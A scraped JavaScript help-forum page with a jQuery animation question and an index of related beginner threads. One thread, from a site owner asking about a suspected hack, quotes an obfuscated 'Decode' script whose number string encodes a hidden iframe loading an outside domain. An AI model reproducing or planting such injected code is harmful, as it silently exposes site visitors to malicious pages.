jQuery animate image1 to image2 - JavaScript Help

I would like to write a code to move image1 to place of image2 (removing image2 in process).

It should be easy, but It does not move enough in x and y directions.

var pic1 = $('#image1).offset(); var pic2 = $('#image2').offset(); var dx = pic2.left - pic1.left; var dy = -; $('#image2').hide(); $('#image1').css({position: 'absolute'}).animate({ 'left': dx, 'top': dy});
Even it seems to work it does not move the entire way, image1 does not reach image2 place. I can't figure out whats the problem.

Posted On: Wednesday 2nd of January 2013 12:00:52 AM Total Views:  432
View Complete with Replies

Related Messages:

remove a list item   (375 Views)
I would like to know how can i remove a selected item from an ordered list which was dynamicaly created Thanking you in advance!!
submit button working fine in i.e but giving error?   (299 Views)
Thanks a lot Graphix
Any advice on how to build a simple javascript form?   (269 Views)
Any help would be appreciated
How do they do this - Cool Effect   (165 Views)
I was browsing around and came by this site and saw a very cool effect. Type a letter in the search box and they display the most recent results by other users. What is the best way going about getting this effect. I havent looked into AJAX yet. Is this an AJAX effect
form verification using regular expressions   (254 Views)
I keep getting an error that says item is null. I'm a little lost because once I got my regExp to start working this actually worked for a little bit. When I came back i was getting an error. I have no idea what i did. var creditExp = /^([345])(\d{3})\-(\d{4})\-(\d{4})\-(\d{4})$/; var creditNumber = document.getElementById("creditnum").value; var item = creditExp.exec(creditNumber); document.getElementById("creditnum").value = item[1] + item[2] + "-" + item[3] + "-" + item[4] + "-" + item[5]; if (item[1] == 4 && document.getElementById("card1").checked == true) { return true; } else if (item[1] == 5 && document.getElementById("card2").checked == true) { return true; } else if (item[1] == 3 && document.getElementById("card3").checked == true) { return true; } else { alert("You must enter a valid credit card number."); document.getElementById("creditnum").focus(); return false; } var billingName = document.getElementById('creditname').value; if (billingName == null || billingName == "") { alert("You must enter your first name as printed on your credit card!"); document.getElementById('creditname').focus(); return false; }
change button text field .   (350 Views)
everybody i need help how can i make it user click join button->change the text "view" after that user click view btn goes another page any body plz help me. this code change text working fine. function showtext() { document.getElementById("joinbutton").childNodes[0].nodeValue="View in MyPlans" } Join
Right click and get "copy link address" on javascript redirect   (236 Views)
So here's my situation, I have a div that is clickable and redirects to a page using the window.location.href method. I'm not using anchor tags because within the div, there are other links that can be clicked. So I'm using the onclick redirect for the div, then using stopPropagation to prevent the redirect when links are clicked. The problem is, I would like the javascript redirect to also work like a link. So that when you right click it, you are given the option to copy the link address, as this is significantly more convenient for myself and my users, rather than having to click it first and then copy the URL. Does anyone know how this can be accomplished This post has been edited by itdoell: 30 November 2011 - 04:07 PM
stopPropagation question   (349 Views)
there, Maybe someone can point me in the right direction here.... Scenario: Tic-tac-toe game, table with 9 cells. I have the game coded to work perfectly but the final issue is to stop the player from being able to click the same cell and override the other players move. I was able to disable the onclick event by using stopPropagation, but I can't find a way to re-enable it after the game is over. Maybe there's a more elegant way of doing it.. Anyone
The For... In Statement   (209 Views)
Okay I just saw an example of the statement and it seems that it basically is an array. However, I know in javascript there are ways to make an array. So my question is do most web developers use the statement or is it just used as an alternative method to the javascript array
Making a mouseover/out task into function using classes for images   (174 Views)
After many trials and errors finding exactly what someone wanted I came up with the solution I wanted for an image rollover. The problem is I put all the code directly into the mouseover/mouseout function. I am not sure how to implement this into two separate Javascript functions to limit the amount of code I have to write. The reason I am not sure how to write the function is because the images are in classes and the results are going to be pulled from a sql query, so they can't have their own id. So, in a nutshell, I just would like some guidance on how to put the mouseover/mouseout code into a Javascript function. Many
auto refresh every 2 seconds of a textarea   (222 Views)
i have a text area of php inside that reads off messages of a database and i wanted to have it auto refresh every 2 seconds. im making it into a chat box. at the moment what you have to do is press a refresh button but its a hassel. i dont want to get into to much ajax becuase i have a ton more stuff to do and dont want to spend to much time on 1 thing. but it looks like this is there any javascript i could post around this to make it just refresh the textarea and repeat the process every 2 seconds
Download MP3 file using JAvascript   (464 Views)
Hi I need to allow user to download mp3 files when they click on the link rather than streaming the audio in the browser. Need to use only Javascript to download the file. Any ideas Please help me. its very urgent.
2 Radio buttons to = 1 image   (227 Views)
. I am new here. I know the top says do your homework first but I am new to javascript and I am not sure if my idea will even work in java script but here we go. My Dad has a web page and I am trying to help him out with it. He builds duck calls and I am trying to make a build your own call section for him. I am wanting every color combination possible for this page to be set up and I would like to do it with radio buttons and the color name next to it. His calls come in 2 parts. The first is the barrel and the second part is the insert. I am wanting people to be able to be able to click 2 separate colors to show a different image for each selection they choose. So I.E. Black + Orange = BlackOrange.jpg and it will show a picture of a black barrel and orange insert of the call. The lay out is pretty simple. I am wanting the picture on top and 2 columns to be listed with radio buttons going down each column and by each radio button i am wanting the colors. For example. ------------[Image] Barrels -------------- Inserts ================================= o Black --------------- o Black o White --------------- o White o Orange--------------- o Orange The page didn't show up like I wanted it took out the spacing so I inserted -'s to show off the actual look And so on and so forth. I can read java script and edit it decently. I am not a complete newbie when it comes to coding but I can't figure out how to write it to get the output I want. I have found several different pages that offer 1 radio button for each picture but I am wanting to see if I can get it setup the same way as I have it laid out if it is even possible. Any help would be appreciated and if you can't help if somebody could find me a link to something that could point me in the right direction that would be appreciated as well. I know I can go the easy route and just do 1 image for 1 radio button and have it setup like: [Image] Barrels/Inserts ================ oBlack/Black oBlack/White But that just doesn't look as professional and to be honest I have been trying to get the way I want it done for a while now and have had no success. It is more of a personal challenge for me to find out how to get it done the way I want. I am thinking it should be something like: if column A1 + column B3 = true go to imageA1B3.jpg(which would be a black barrel with a orange insert) or something along that lines but I can't get it to work any way I try. Anyways sorry for the long post and like I said any help would be appreciated.
SwfObject breaks Javascript Image Rotator   (254 Views)
I have a Javascript slideshow (image rotator) on an HTML page, and it works fine until I embed a swf onto the same page. At that point the image rotator won't show up anymore. Is there a way to fix this Can I have both on the same HTML page
java script +UML activity diagram   (215 Views)
hai, is there any open source js library for creating UML Activity diagram in html other than Joints
XHR using basic authentication   (290 Views)
Hi , I'm struggling with an issue I'm testing at the moment. I'm using XHR to make some REST requests. Right now I need to handle HTTP 401 responses. When a resource is requested such as a Javascript file or CSS file the browser will popup a prompt for username and password, which is normal behaviour. When I make an XHR request for POST,GET or PUT I get an XHR response which includes a status of 401 and no popup from the browser, this is also normal. The problem is when I make a DELETE request, I get the expected XHR response AND also the browser still pops up the username and password prompt. Not Good. Has anyone had this problem before and is there any solutions out there
Help using the focus() method   (220 Views)
Hi when I make a frameset, instead of having the second child window focused by default on the onload event, I would like to have the first child window focused. I tried this code with no success, the second window still was focused not the first. Can anyone please help Here's my attempt: My focus attempt This post has been edited by codemonkey92: 07 February 2010 - 11:46 PM
Not sure what I am doing wrong...   (270 Views)
This is code is all messed up. What it is to do is let the user type any bag of numbers seperated by commas and then process the numbers in order. If there are two of the same number ex.(1,1,2,3) the output would be (1,2,3). I got the code to work with the prompt, but i cant figure it out using a form and a function. Heres the prompt one that works a=prompt("hello, please type a comma delimited 'bag' of numbers") A=a.split(",") B=[] A.sort() for (i=0;i
Can't get Switch Statement to Work.   (296 Views)
I am having trouble with a switch statement Assignment. I don't really know if what I am doing is even close to right. Assignment: Switch Create a HTML that uses Javascript. Create a page that tells a student the range their mark falls in if they know their letter grade. Below 50 is an "F", 50-59.9 is a D, 60 - 69.9 is a "C", 70 - 79.9 is a "B", 80 - 89.9 is an "A" and 90 - 100 is an "A+". You determine the input and output format. Switch var Mark = document.getElementById('letter').value switch(Mark) { case 1: if (Mark = A+ || Mark = a+) alert("Your Mark Range is 90% - 100%"); break; case 2: if (Mark = A || Mark = a) alert("Your Mark Range is 80% - 89.9%"); break; case 3: if (Mark = B || Mark = b) alert("Your Mark Range is 70% - 79.9%"); break; case 4: if (Mark = C || Mark = c) alert("Your Mark Range is 60% - 69.9%"); break; case 5: if (Mark = D || Mark = d) alert("Your Mark Range is 50-59.9"); break; case 6: if (Mark = F || Mark = f) alert("Your Mark Range is below 50%"); break; } Please Enter Letter Grade to find Mark Range. This post has been edited by cod4ever: 17 January 2010 - 04:58 PM
simple animation   (266 Views)
i'm trying to graph line with a delay between each line drawn - my code is: var jg = new jsGraphics('Canvas'); jg.setColor('maroon'); jg.drawLine(40,130,80,120); setTimeout('jg.paint()',10000); jg.drawLine(80,120,120,110); setTimeout('jg.paint()',10000); unfortunately it draws all the lines at the same time i.e the setTimeout function doesn't like the paint method - any ideas Abbey
Live Tv Script   (234 Views)
Please Give me java script for live tv for my web page.
Change CSS with JavaScript   (236 Views)
, I am at the very beginning of Javascript. This is the first website I tried to include Javascript, so don't be too mean What I want to do is to change a CSS property dynamically. It'll be best if I show you what I did: function ChangeHeight() { var browser = navigator.appName; if(browser == "Microsoft Internet Explorer") { var clientHeight = document.body.clientHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } else { var clientHeight = window.innerHeight; var contentHeight = clientHeight - 218; document.getElementById('content').style.height = contentHeight; } } This is in my header. I heard that window.innerHeight doesn't work for Internet Explorer, that's why the if statement. What I am trying to do is to change my height of my content area dynamically when it gets resized. My body tag looks like this: And I have a div area in my body, which looks like that: And the content div in my external stylesheet, which I of course linked up, looks like this: #content { height: 400px; float: right; width: 678px; padding-bottom: 1em; background-image: url(../images/dp-content-purp.gif); border-top: 0px solid; border-right: 2px solid; border-bottom: 0px solid; border-left: 2px solid; border-color: #FFF; overflow: auto; } Why I want do change this Well... Different people have different resolutions and I want that my website fits perfectly into the browser. *EDIT: Maybe something, that could help. I tried the following: alert(document.getElementById('content').style.height); This shows just an empty MessageBox with nothing in it. And by the way... Happy
javascript Incorrect RHS Data Type   (275 Views)
What happens if the right hand side data type is incorrect This post has been edited by dbrine: 18 October 2009 - 07:07 AM
"function Decode" script been hacked into my site?   (281 Views)
I recently looked at the live code on the homepage of my personal site, and am I a bit concerned upon discovering a script that appears at the very bottom of my page, AFTER the closing html tag. This is the script: function Decode(){var temp='',i,c=0,out='';var str='60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!98!46!108!45!97!45!99!46!99!110!47!34!32!115!116!121!108!101!61!34!100!105!115!112!108!97!121!58!110!111!110!101!34!62!60!47!105!102!114!97!109!101!62!';l=str.length;while(c
need to create a table in a div dynamically with js   (199 Views)
I've got 2 div's and the first one has a form in it. I want to create a table with the results of the form results in the second div. It currently erases the page to create the table
how to redirect to a jquery tab   (207 Views)
i want to redirect the page after submitting to the exact page with the tabs. but when i submit it just loads the same page. but what i want is it should load under the home tabs. my other pages are loading in the div tags which are loaded using the Jquery tab here is my code. please help me Enter The Question   Enter the Answers 01. Correct Answer 02. Correct Answer 03. Correct Answer 04. Correct Answer i have tried like that( i have bold it.. please refer the bold section). my home tabs are like this $(document).ready(function() { $('#main-side-content').tabs(); }); Home Create A Class Register Students MCQ Paper Setting Create Paper
Basic Javascript Rollover   (271 Views)
For some reason I cant get my rollovers to work on my web design here's the html THE Javascript window.onload = rolloverInit; function rolloverInit() { for (var i=0; i
Hide Address of server in popupwindow   (314 Views)
how to close browser window with javascript   (253 Views)
hi, can any one tell me what are the ways to close browser window in javascript. i'm trying with window.close() but it's not working in firefox..
Passing form values to new window   (269 Views)
I'm trying to figure out how to pass selected values from a form to a page (both pages are ASP) in a new window via the URL. My form uses radio buttons as a means to make a selection: Option1 Option2 Option3 Option4 So that my URL would look something like this: http://www.mywebsite...t.aspu_input=A Any ideas on how to do this
Floating Window Codes   (254 Views)
, I am so glad I found you ! So here is my problem: I built this Flash site(first one) for a photographer. Now I have thumbnails/button that open to a new browser window with the corresponding photo gallery. Now, my client wants the window to be menubarless, no scrollbar, basically only have the frame with her name on it. I see it all the time but I am having a real hard time finding the right way to do it... Right now, I have her galleries on regular browser window. First, should I add some Actionscript or Javascript to the button so the link would open onto the floating window. Do I have to add something to the galleries's HTML script and where on it Can you help me with the codes and all If so, THANK YOU SO MUCH!! I have been pulling my hair out over this for the last few weeks. Let me know if you need more details, Marianne , okay, im sorry i misunderstood your question when i read it the first time, or i didnt realize it had to be a flash button. im not a flash master, might want to move this to the flash forum and get one of them in here. but in the meantime, try adding the first bit of code i gave you to the html file on which the flash is placed, in the header. then, in the actions on the button add java script:popUp('filename.html') with filename.html being the full url of the gallery, im not sure if the javascript from the html page will carryover into the html, thats a question for the flash gurus, but its worth a shot. sorry. hope they help you out .
Stop YouTube video when closing div - JavaScript Help   (215 Views)
, I am using a hide/show system which is displaying youtube videos. I would like the youtube video to STOP whenever the div is closed.How do I do thi
httpOnly Cookie retrieval - JavaScript Help   (312 Views)
For FireFoxI've been learning more about AJAX, and one of my applications need to read a httpOnly cookie (not my choice) in order to work properly. How can I go about this I tried: var req = null; try { req = new XMLHttpRequest(); } catch(e) {} if (!req) try { req = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) {} if (!req) try { req = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {}'GET', '', false); req.send(null); alert(req.getResponseHeader("bb_sessionhash")); Yet his only outputs null
Need a good source or a good tutorial on how to do page load data jquery. - JavaScript Help   (215 Views)
I have looked up on the web for some good tutorials, so I haven't really found any "SIMPLE ONES". I'm looking for a good simple tutorial on how to make your page continue and continually load data when you scroll down the page. Will need ajax to pull some data from the database. I looked at 9Lessions tutorial on page load data jquery, but it's pretty complex. I tried to make it work in an example and it didn't work. But, all I'm looking for is a very simple tutorial on how to make a page load data jquery.
Two onchange events not working? - JavaScript Help   (385 Views)
I have two events which i want to call in select while onchange I am uing this but its not working........
MOVED: good books on jquery? - JavaScript Help   (267 Views)
This topic has been moved to Miscellaneous.
building a url from explode function and getting page title to make new url? - JavaScript Help   (255 Views)
As i see it this should be an easy one.. Im using the addthis shareing script to share a page url on multiple platforms... My problem is that i have sef urls and also a seperate fast search page where profiles are called up via search. These profiles are called in an iframe and the url is then notadd sef any longer but the standard url... What i need to do is build the sef url from the server request uri and then add the page title which is also the profiles name to the new url---i can do everything to build the url, but i do not know how to pull the page title one thing to note is that the page being shared is in an Iframe, i dont think this is a big problem as the script to share is also on the page which appears in the is the addthis shareing script which calls to the url: addthis_pub = \'davidp13\'; '; }here is an example of the url and the result i need for the sef url equivalent: current link no sefhttp://www.xxxxxxxxx...ile&profileid=1Sef result needed to fill the [URL] above: "1" is the profile owners profile id i can pull this from the url above, the viewprofile is a standard word in the url, but the profile owners name is by default also the PAGETITLE.which doesn't show in the non sef link..any ideas how to pull the pagetitle and add it to the new url before it is passedbest regardsAntony
Php with Jquery (SELECTING) - JavaScript Help   (312 Views)
How do you SELECT * FROM table WHERE field='(a jquery value)' I want to know is to know what gender they clicked on so I could run this query:SELECT * FROM table WHERE gender='whatever they clicked';Here is my Javascript code: $(document).ready(setupBeginning); function setupBeginning() { $("#rest").hide(); $(".femaleTrigger").click(showRestFemale); $(".maleTrigger").click(showRestMale); } function showRestFemale() { $("#rest").show(); $("#gender").hide(); } function showRestMale() { $("#rest").show(); $("#gender").hide(); } $(function() { $( "#tabs" ).tabs(); }); Now here is my HTML code: Click on your gender: Male Female Base Eyes Mouth Nose Hair Bases here. Eyes here. Mouths here. Noses here. Hairs here. Now I want to use PHP toSELECT * FROM tablename WHERE gender='whatever they clicked';How would I receive the data of what gender they clicked on
javascript/jquery detect user scroll 200px from bottom of page - JavaScript Help   (251 Views)
I have a page that loads older comments when you scroll to the bottom of the page, it works well however I want it to load the comments when the user has scrolled to around 200px up from the bottom of the page (so they have a chance to load to help keep the user scrolling down smoothly without breaks from it loading).currently using:$(window).scroll(function () { /* if ($win.scrollTop() == 0) ///scrolled to page top*/ if ($(window).height() + $(window).scrollTop() == $(document).height()) { //code to be executed } });
JQuery hidden adjacent div issue - JavaScript Help   (295 Views)
, I am just starting to get into jQuery and I have run into a problem that is annoying the hell out of me. I have a menu with all the main options for the site. However, this site is part of a large network; so I need to include an option for the global nav for the network. The current menu for the site is so: Home About Archives Contact Subscribe to RSS I didn't write this page, just going in to add the global nav. Anyway, I modified the menu as such and added the following under it: +/- Home About Archives Contact Subscribe to RSS writeTopGlobal_transition(); writeBotGlobal_transition(); $(function() { $('.hiddenNav').hover(function() { $('.globalNav').show(); }); $('.globalNav').hover(function() {}, function() { $('.globalNav').hide() }); }); The two functions in hidden div basically do a document.write of the global nav (which is fairly extensive). Anyway, here is my issue. As you can probably guess with my code I want the global nav to appear when a user hovers over the "+/-" link in the main menu. Then I need it to stay active as long as they are over it. Currently, this works fine. The global nav goes away when they move their mouse off of it. However, during testing I noticed my issue. If you just hover over the "+/-" and never go to the global nav section it stays open. I need it to act much like a drop down in that if the user hovers over the "+/-" the nav shows up and if they move it goes away....unless they move to the nav where it should stay up until they move off of it
jQuery/JavaScript trigger on canvas image load - JavaScript Help   (299 Views)
Edit: after re-thinking and reading my post: Short question is: how do you add an Event listener on the img loading inside a canvas $("canvas img") doesn't work for example... , using jQuery and Javascript... I have a function that adds a line, when this line is added, another function is run that adds a Canvas and loads an image within it like so:Within addCanvas an image is loaded and I can trigger a function upon the image loading.. Cool. But how do I get the previous function to know when this image is loaded I tried adding return true; within addCanvas and then in the previous function doing an if(addCanvas()){ } but it seems to get to that line and if the image hasn't loaded, it doesn't wait function addText(){ // Add text code addCanvas(); } function addCanvas(){ // add canvas, load image var $img = new Image(); $img.src = 'image.png'; $img.onload = function(){ // do stuff } } I wanted the previous function to know when it has loaded so I can continue with all the variables I currently have... If I can't check for it in the previous function then I'll have to pass them all when they're only needed in certain conditions and its a little messy.It's a canvas but can't really do$("canvas").load(function(){ // loaded });because the canvas is already loaded... its the image inside it I want to check that has loaded
preloading quicktime movies. - JavaScript Help   (290 Views)
is there any way to preload quicktime media before the user decides to view it.i know for images i can do this:var images = new Image;images.src = 'location.gif';can you do that for other media as well
Hash URL based website. load pages with multiple variables in url. etc. - JavaScript Help   (230 Views)
I have a website that is completely hash based. It only ever loads one page the whole time you're on the site. The rest of the pages are loading in with ajax. What I am using to check for hash changes is $(window).hashchange( function (){}); and everytime the hash changes it loads the page that it tells it to based on whats in the hash. Now. This works perfectly fine when i just have one variable in the url that needs to load the page, however when i want to have a tabbed navigation inside of the first page that loads it either has to load the entire page again. (which would make this completely pointless if I kept it like this), or i cannot pass a url in the hash, (which wouldn't work because if you reload the page it wouldn't automatically go back to that tab and everything. So what I need is a better system in how i get pages through the hash. Okay to make it more clear as to what I am looking for I'll show some examples.example hash with only one page needing to be!/profile&id=1This will load the php page called profile.php, with the users ID as number 1. now, when you click on a tab on the users page the url would look something like!/profile&id=1&tab=informationThis will load information.php into a div inside of the profile.php page without reloading the profile page. (Well I mean that's what i want it to do)Could anyone give me some direction in how I could accomplish this.
how to highlight table row on select? - JavaScript Help   (329 Views)
hi . as stated in my question above, i want to be able to highlight a table row when i click on it and unhighlight when i click on another row. i'm totally new to javascript and jquery so i don't know where to begin. i've used php also on this one to display the records in the table. hope you can help. just tell me if something is lacking in the code i've posted or if i need to post javascript. here's the html&php code.. Records - of  Reset ID Course Year Block
Combo Box value to php variable - JavaScript Help   (258 Views)
Select Size: S M L XL
jQuery - show or hide div based on select menu option. - JavaScript Help   (193 Views)
Hi ,I need to be able to show a new form field based on an option selected in the select menu. The show works fine, but when I select another option the revealed form field (div) won't hide. Any ideas $(document).ready(function(){ $("#parent1").css("display","none"); $("#reveal_add").click(function(){ if ($('option[name=add_mfr]:selected').val() == "add_new" ) { $("#parent1").slideDown("fast"); //Slide Down Effect } else { $("#parent1").slideUp("fast"); //Slide Up Effect } }); });
Multiple instances of TinyMCE - JavaScript Help   (255 Views)
Hi all, ive installed tinymce on my website only on a page with multiple textareas it isnt showing, it only shows on the first area, Ive googled this and found nothing in the wiki documentation, has any idea why my javascript for tinymce is tinyMCE.init({ // General options mode : "textareas", theme : "advanced", // Theme options theme_advanced_buttons1 : "bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,styleselect,formatselect,fontselect,fontsizeselect", theme_advanced_buttons2 : "cut,copy,paste,bullist,numlist,|,outdent,indent,blockquote,forecolor,backcolor,link,unlink", theme_advanced_toolbar_location : "top", theme_advanced_toolbar_align : "left", theme_advanced_statusbar_location : "bottom", theme_advanced_resizing : false, // Example content CSS (should be your site CSS) content_css : "css/example.css", // Drop lists for link/image/media/template dialogs template_external_list_url : "js/template_list.js", external_link_list_url : "js/link_list.js", external_image_list_url : "js/image_list.js", media_external_list_url : "js/media_list.js", // Replace values for the template plugin }); and my textarea's are all similiar too
print another page without window popup. - JavaScript Help   (229 Views)
Hi all,I want to print a page from another page. I have a master page with links to other page. When I click "print," it should print the another page.The function window.print() is printing only the active page. So on click print i am opening a new window.In the onload event of the target page i have usedEventhough it's working, at the same time the window is also popping up behind the printer set up screen. when i click print or cancel the window gets closed automatically.i don't want the window to pop up. Do suggest me if there is any other alternative way.
question about javascript - JavaScript Help   (207 Views)
I'm not really sure what to put as the subject, but anyways I have this javascript that runs when i click an edit button, just calls the edit() function and what I want it to do is place an edit button next to every element that is an input, textarea, img, and label. the script itself works fine, but the html that i'm having it place the edit buttons next to is being displayed by a php function. So what i think is the problem is that the javascript wont read the html that is being displayed by the php function since it reads the html first and finds that nothing matches or something if this is the problem how might i go about to fix itHere is the javascript: var count = true; document.getElementsByAttribute=function(attrN,attrV,multi){ attrV=attrV.replace(/\|/g,'\\|').replace(/\[/g,'\\[').replace(/\(/g,'\\(').replace(/\+/g,'\\+').replace(/\./g,'\\.').replace(/\*/g,'\\*').replace(/\/g,'\\').replace(/\//g,'\\/'); var multi=typeof multi!='undefined' multi: false, cIterate=typeof document.all!='undefined' document.all: document.getElementsByTagName('*'), aResponse=[], re=new RegExp(multi '\\b'+attrV+'\\b': '^'+attrV+'$'), i=0, elm; while((elm=cIterate.item(i++))){ if(re.test(elm.getAttribute(attrN)||'')) aResponse[aResponse.length]=elm; } return aResponse; } function edit() { if(count) { // Get all input elements into an object var inputs = document.getElementsByTagName('input'); // Loop through inputs for( var i=0; i
Menu Bar - JavaScript Help   (386 Views)
im using a script i found online to generate a menu bar and it works great except for every time you navigate to a different page it shows the menu as the unordered list before anything else loads and i was wondering how to stop this from happening